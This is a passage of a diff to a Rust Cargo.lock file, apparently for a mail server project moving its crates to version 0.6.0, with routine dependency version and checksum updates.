"proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", "syn_derive", ] @@ -685,9 +685,9 @@ checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytecheck" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b6372023ac861f6e6dc89c8344a8f398fb42aaba2b5dbc649ca0c0e9dbcb627" +checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2" dependencies = [ "bytecheck_derive", "ptr_meta", @@ -696,9 +696,9 @@ dependencies = [ [[package]] name = "bytecheck_derive" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7ec4c6f261935ad534c0c22dbef2201b45918860eb1c574b972bd213a76af61" +checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659" dependencies = [ "proc-macro2", "quote", @@ -707,9 +707,9 @@ dependencies = [ [[package]] name = "bytemuck" -version = "1.14.0" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] name = "byteorder" @@ -834,9 +834,9 @@ checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" [[package]] name = "chrono" -version = "0.4.31" +version = "0.4.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ "android-tzdata", "iana-time-zone", @@ -844,7 +844,7 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.48.5", + "windows-targets 0.52.0", ] [[package]] @@ -853,7 +853,7 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "12f8e7987cbd042a63249497f41aed09f8e65add917ea6566effbc56578d6801" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -880,9 +880,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.12" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcfab8ba68f3668e89f6ff60f5b205cea56aa7b769451a59f34b8682f51c056d" +checksum = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f" dependencies = [ "clap_builder", "clap_derive", @@ -890,33 +890,33 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.12" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb7fb5e4e979aec3be7791562fcba452f94ad85e954da024396433e0e25a79e9" +checksum = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99" dependencies = [ "anstream", "anstyle", "clap_lex", - "strsim", + "strsim 0.11.0", ] [[package]] name = "clap_derive" -version = "4.4.7" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] name = "clap_lex" -version = "0.6.0" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" [[package]] name = "cmac" @@ -960,15 +960,15 @@ dependencies = [ [[package]] name = "console" -version = "0.15.7" +version = "0.15.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8" +checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb" dependencies = [ "encode_unicode 0.3.6", "lazy_static", "libc", "unicode-width", - "windows-sys 0.45.0", + "windows-sys 0.52.0", ] [[package]] @@ -1013,9 +1013,9 @@ checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "cpufeatures" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" dependencies = [ "libc", ] @@ -1028,20 +1028,19 @@ checksum = "338089f42c427b86394a5ee60ff321da23a5c89c9d89514c829687b26359fcff" [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] [[package]] name = "crossbeam" -version = "0.8.3" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6eb9105919ca8e40d437fc9cbb8f1975d916f1bd28afe795a48aae32a2cc8920" +checksum = "1137cd7e7fc0fb5d3c5a8678be38ec56e819125d8d7907411fe24ccb943faca8" dependencies = [ - "cfg-if", "crossbeam-channel", "crossbeam-deque", "crossbeam-epoch", @@ -1051,54 +1050,46 @@ dependencies = [ [[package]] name = "crossbeam-channel" -version = "0.5.10" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "82a9b73a36529d9c47029b9fb3a6f0ea3cc916a261195352ba19e770fc1748b2" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.4" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fca89a0e215bab21874660c67903c5f143333cab1da83d041c7ded6053774751" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.17" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e3681d554572a651dda4186cd47240627c3d0114d45a95f6ad27f2f22e7548d" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-queue" -version = "0.3.10" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "adc6598521bb5a83d491e8c1fe51db7296019d2ca3cb93cc6c2a20369a4d78a2" +checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.18" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3a430a770ebd84726f584a90ee7f020d28db52c6d02138900f22341f866d39c" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crunchy" @@ -1112,7 +1103,7 @@ version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" dependencies = [ - "generic-array", + "generic-array 0.14.7", "rand_core", "subtle", "zeroize", @@ -1124,7 +1115,7 @@ version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" dependencies = [ - "generic-array", + "generic-array 0.14.7", "rand_core", "typenum", ] @@ -1135,7 +1126,7 @@ version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4857fd85a0c34b3c3297875b747c1e02e06b6a0ea32dd892d8192b9ce0813ea6" dependencies = [ - "generic-array", + "generic-array 0.14.7", "subtle", ] @@ -1171,9 +1162,9 @@ dependencies = [ [[package]] name = "curve25519-dalek" -version = "4.1.1" +version = "4.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e89b8c6a2e4b1f45971ad09761aafb85514a84744b67a95e32c3cc1352d1f65c" +checksum = "0a677b8922c94e01bdbb12126b0bc852f00447528dee1782229af9c720c3f348" dependencies = [ "cfg-if", "cpufeatures", @@ -1194,7 +1185,7 @@ checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1209,12 +1200,12 @@ dependencies = [ [[package]] name = "darling" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +checksum = "fc5d6b04b3fd0ba9926f945895de7d806260a2d7431ba82e7edaecb043c4c6b8" dependencies = [ - "darling_core 0.20.3", - "darling_macro 0.20.3", + "darling_core 0.20.5", + "darling_macro 0.20.5", ] [[package]] @@ -1227,22 +1218,22 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "strsim", + "strsim 0.10.0", "syn 1.0.109", ] [[package]] name = "darling_core" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +checksum = "04e48a959bcd5c761246f5d090ebc2fbf7b9cd527a492b07a67510c108f1e7e3" dependencies = [ "fnv", "ident_case", "proc-macro2", "quote", - "strsim", - "syn 2.0.47", + "strsim 0.10.0", + "syn 2.0.48", ] [[package]] @@ -1258,13 +1249,13 @@ dependencies = [ [[package]] name = "darling_macro" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +checksum = "1d1545d67a2149e1d93b7e5c7752dce5a7426eb5d1357ddcfd89336b94444f77" dependencies = [ - "darling_core 0.20.3", + "darling_core 0.20.5", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1292,7 +1283,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd2735a791158376708f9347fe8faba9667589d82427ef3aed6794a8981de3d9" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -1403,7 +1394,7 @@ version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -1422,7 +1413,7 @@ dependencies = [ name = "directory" version = "0.1.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "argon2", "async-trait", "deadpool", @@ -1439,7 +1430,7 @@ dependencies = [ "pbkdf2 0.12.2", "pwhash", "regex", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "scrypt", "serde", @@ -1502,7 +1493,7 @@ checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1519,9 +1510,9 @@ checksum = "fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10" [[package]] name = "dsa" -version = "0.6.2" +version = "0.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d88afbb2443ba68ef8593de497e830b2e276434e1408f85cd760b1107b44ead0" +checksum = "48bc224a9084ad760195584ce5abb3c2c34a225fa312a128ad245a6b412b7689" dependencies = [ "digest 0.10.7", "num-bigint-dig", @@ -1577,11 +1568,11 @@ dependencies = [ [[package]] name = "ece" -version = "2.2.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8dd5463ffecc0677adcd786c4481f73b215714d4757edf2eb37a573c03d00459" +checksum = "c2ea1d2f2cc974957a4e2575d8e5bb494549bab66338d6320c2789abcfff5746" dependencies = [ - "base64 0.13.1", + "base64 0.21.7", "byteorder", "hex", "hkdf", @@ -1605,9 +1596,9 @@ dependencies = [ [[package]] name = "ed25519-dalek" -version = "2.1.0" +version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f628eaec48bfd21b865dc2950cfa014450c01d2fa2b69a86c2fd5844ec523c0" +checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871" dependencies = [ "curve25519-dalek", "ed25519", @@ -1620,9 +1611,9 @@ dependencies = [ [[package]] name = "either" -version = "1.9.0" +version = "1.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" [[package]] name = "elasticsearch" @@ -1654,7 +1645,7 @@ dependencies = [ "crypto-bigint", "digest 0.10.7", "ff", - "generic-array", + "generic-array 0.14.7", "group", "hkdf", "pem-rfc7468", @@ -1704,7 +1695,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1748,7 +1739,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "531e46835a22af56d1e3b66f04844bed63158bc094a628bec1d321d9b4c44bf2" dependencies = [ "bit-set", - "regex-automata 0.4.3", + "regex-automata 0.4.5", "regex-syntax 0.8.2", ] @@ -1782,9 +1773,9 @@ dependencies = [ [[package]] name = "fiat-crypto" -version = "0.2.5" +version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "27573eac26f4dd11e2b1916c3fe1baa56407c83c71a773a8ba17ec0bca03b6b7" +checksum = "1676f435fc1dadde4d03e43f5d62b259e1ce5f40bd4ffb21db2b42ebe59c1382" [[package]] name = "filetime" @@ -1905,7 +1896,7 @@ checksum = "83c8d52fe8b46ab822b4decdcc0d6d85aeedfc98f0d52ba2bd4aec4a97807516" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", "try_map", ] @@ -1943,7 +1934,7 @@ checksum = "b0fa992f1656e1707946bbba340ad244f0814009ef8c0118eb7b658395f19a2e" dependencies = [ "frunk_proc_macro_helpers", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1955,7 +1946,7 @@ dependencies = [ "frunk_core", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -1967,7 +1958,7 @@ dependencies = [ "frunk_core", "frunk_proc_macro_helpers", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -2032,7 +2023,7 @@ checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -2086,6 +2077,15 @@ dependencies = [ ] [[package]] +name = "generic-array" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe739944a5406424e080edccb6add95685130b9f160d5407c639c7df0c5836b0" +dependencies = [ + "typenum", +] + +[[package]] name = "gethostname" version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2097,9 +2097,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "js-sys", @@ -2143,9 +2143,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", @@ -2153,7 +2153,7 @@ dependencies = [ "futures-sink", "futures-util", "http 0.2.11", - "indexmap 2.1.0", + "indexmap 2.2.3", "slab", "tokio", "tokio-util", @@ -2162,9 +2162,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.0" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d308f63daf4181410c242d34c11f928dcb3aa105852019e043c9d1f4e4368a" +checksum = "31d030e59af851932b72ceebadf4a2b5986dba4c3b99dd2493f8273a0f151943" dependencies = [ "bytes", "fnv", @@ -2172,7 +2172,7 @@ dependencies = [ "futures-sink", "futures-util", "http 1.0.0", - "indexmap 2.1.0", + "indexmap 2.2.3", "slab", "tokio", "tokio-util", @@ -2185,7 +2185,7 @@ version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" dependencies = [ - "ahash 0.7.7", + "ahash 0.7.8", ] [[package]] @@ -2194,7 +2194,7 @@ version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "allocator-api2", ] @@ -2215,9 +2215,9 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3" [[package]] name = "hex" @@ -2408,7 +2408,7 @@ dependencies = [ "futures-channel", "futures-core", "futures-util", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.11", "http-body 0.4.6", "httparse", @@ -2431,7 +2431,7 @@ dependencies = [ "bytes", "futures-channel", "futures-util", - "h2 0.4.0", + "h2 0.4.2", "http 1.0.0", "http-body 1.0.0", "httparse", @@ -2469,12 +2469,11 @@ dependencies = [ [[package]] name = "hyper-util" -version = "0.1.2" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bdea9aac0dbe5a9240d68cfd9501e2db94222c6dc06843e06640b9e07f0fdc67" +checksum = "ca38ef113da30126bbff9cd1705f9273e15d45498615d138b0c20279ac7a76aa" dependencies = [ "bytes", - "futures-channel", "futures-util", "http 1.0.0", "http-body 1.0.0", @@ -2482,14 +2481,13 @@ dependencies = [ "pin-project-lite", "socket2 0.5.5", "tokio", - "tracing", ] [[package]] name = "iana-time-zone" -version = "0.1.59" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", @@ -2551,9 +2549,9 @@ checksum = "029d73f573d8e8d63e6d5020011d3255b28c3ba85d6cf870a07184ed23de9284" [[package]] name = "imap" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "dashmap", "directory", "imap_proto", @@ -2565,7 +2563,7 @@ dependencies = [ "nlp", "parking_lot", "rand", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pemfile 2.0.0", "store", "tokio", @@ -2578,7 +2576,7 @@ dependencies = [ name = "imap_proto" version = "0.1.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "chrono", "jmap_proto", "mail-parser", @@ -2598,9 +2596,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.1.0" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", "hashbrown 0.14.3", @@ -2608,9 +2606,9 @@ dependencies = [ [[package]] name = "indicatif" -version = "0.17.7" +version = "0.17.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25" +checksum = "763a5a8f45087d6bcea4222e7b72c291a054edf80e4ef6efd2a4979878c7bea3" dependencies = [ "console", "instant", @@ -2635,7 +2633,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" dependencies = [ "block-padding", - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -2667,12 +2665,12 @@ checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] name = "is-terminal" -version = "0.4.10" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bad00257d07be169d870ab665980b06cdb366d792ad690bf2e76876dc503455" +checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" dependencies = [ "hermit-abi", - "rustix", + "libc", "windows-sys 0.52.0", ] @@ -2686,6 +2684,15 @@ dependencies = [ ] [[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] name = "itoa" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2728,14 +2735,14 @@ dependencies = [ [[package]] name = "jmap" -version = "0.5.3" +version = "0.6.0" dependencies = [ "aes", "aes-gcm", "aes-gcm-siv", "async-stream", "async-trait", - "base64 0.21.5", + "base64 0.21.7", "bincode", "cbc", "chrono", @@ -2785,7 +2792,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "12c697483ad894a8184d0fd61848e057f86b16642049993b3e6a80c959dbc90a" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "async-stream", "base64 0.13.1", "chrono", @@ -2793,7 +2800,7 @@ dependencies = [ "maybe-async", "parking_lot", "reqwest", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "serde", "serde_json", @@ -2805,7 +2812,7 @@ dependencies = [ name = "jmap_proto" version = "0.1.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "fast-float", "mail-parser", "serde", @@ -2818,18 +2825,18 @@ dependencies = [ [[package]] name = "jobserver" -version = "0.1.27" +version = "0.1.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +checksum = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6" dependencies = [ "libc", ] [[package]] name = "js-sys" -version = "0.3.66" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ "wasm-bindgen", ] @@ -2840,7 +2847,7 @@ version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4ee7893dab2e44ae5f9d0173f26ff4aa327c10b01b06a72b52dd9405b628640d" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", ] [[package]] @@ -2874,7 +2881,7 @@ dependencies = [ "diff", "ena", "is-terminal", - "itertools", + "itertools 0.10.5", "lalrpop-util", "petgraph", "regex", @@ -2945,9 +2952,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.151" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libloading" @@ -2971,7 +2978,7 @@ version = "0.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "libc", "redox_syscall", ] @@ -3005,9 +3012,9 @@ dependencies = [ [[package]] name = "libz-sys" -version = "1.1.12" +version = "1.1.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d97137b25e321a73eef1418d1d5d2eda4d77e12813f8e6dead84bc52c5870a7b" +checksum = "037731f5d3aaa87a5675e895b63ddff1a87624bc29f77004ea829809654e48f6" dependencies = [ "cc", "pkg-config", @@ -3022,9 +3029,9 @@ checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" [[package]] name = "linux-raw-sys" -version = "0.4.12" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "lock_api" @@ -3044,9 +3051,9 @@ checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "lru" -version = "0.12.1" +version = "0.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2994eeba8ed550fd9b47a0b38f0242bc3344e496483c6180b69139cc2fa5d1d7" +checksum = "db2c024b41519440580066ba82aab04092b333e09066a5eb86c7c4890df31f22" dependencies = [ "hashbrown 0.14.3", ] @@ -3072,9 +3079,9 @@ dependencies = [ [[package]] name = "lz4_flex" -version = "0.11.1" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ea9b256699eda7b0387ffbc776dd625e28bde3918446381781245b7a50349d8" +checksum = "912b45c753ff5f7f5208307e8ace7d2a2e30d024e26d3509f3dce546c044ce15" dependencies = [ "twox-hash", ] @@ -3085,7 +3092,7 @@ version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "224aa436a40caeef3bd3fa1b5b619b28b26d83fcc088c008536886f74ad27951" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "flate2", "hickory-resolver", "lru-cache", @@ -3125,20 +3132,20 @@ version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5f5982137dccf24ca038daa022eb0ea97a31e9739477445a787a8ef77e015ebb" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "gethostname", "md5", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "smtp-proto", "tokio", "tokio-rustls 0.25.0", - "webpki-roots 0.26.0", + "webpki-roots 0.26.1", ] [[package]] name = "mail-server" -version = "0.5.3" +version = "0.6.0" dependencies = [ "directory", "imap", @@ -3155,9 +3162,9 @@ dependencies = [ [[package]] name = "managesieve" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "bincode", "directory", "imap", @@ -3168,7 +3175,7 @@ dependencies = [ "mail-send", "md5", "parking_lot", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pemfile 2.0.0", "sieve-rs", "store", @@ -3207,13 +3214,13 @@ checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" [[package]] name = "maybe-async" -version = "0.2.7" +version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f1b8c13cb1f814b634a96b2c725449fe7ed464a7b8781de8688be5ffbd3f305" +checksum = "afc95a651c82daf7004c824405aa1019723644950d488571bd718e3ed84646ed" dependencies = [ "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.48", ] [[package]] @@ -3288,9 +3295,9 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", ] @@ -3313,14 +3320,14 @@ version = "0.30.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "56b0d8a0db9bf6d2213e11f2c701cb91387b0614361625ab7b9743b41aa4938f" dependencies = [ - "darling 0.20.3", + "darling 0.20.5", "heck", "num-bigint", "proc-macro-crate 1.3.1", "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", "termcolor", "thiserror", ] @@ -3359,7 +3366,7 @@ dependencies = [ "twox-hash", "url", "webpki", - "webpki-roots 0.25.3", + "webpki-roots 0.25.4", ] [[package]] @@ -3368,10 +3375,10 @@ version = "0.31.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = 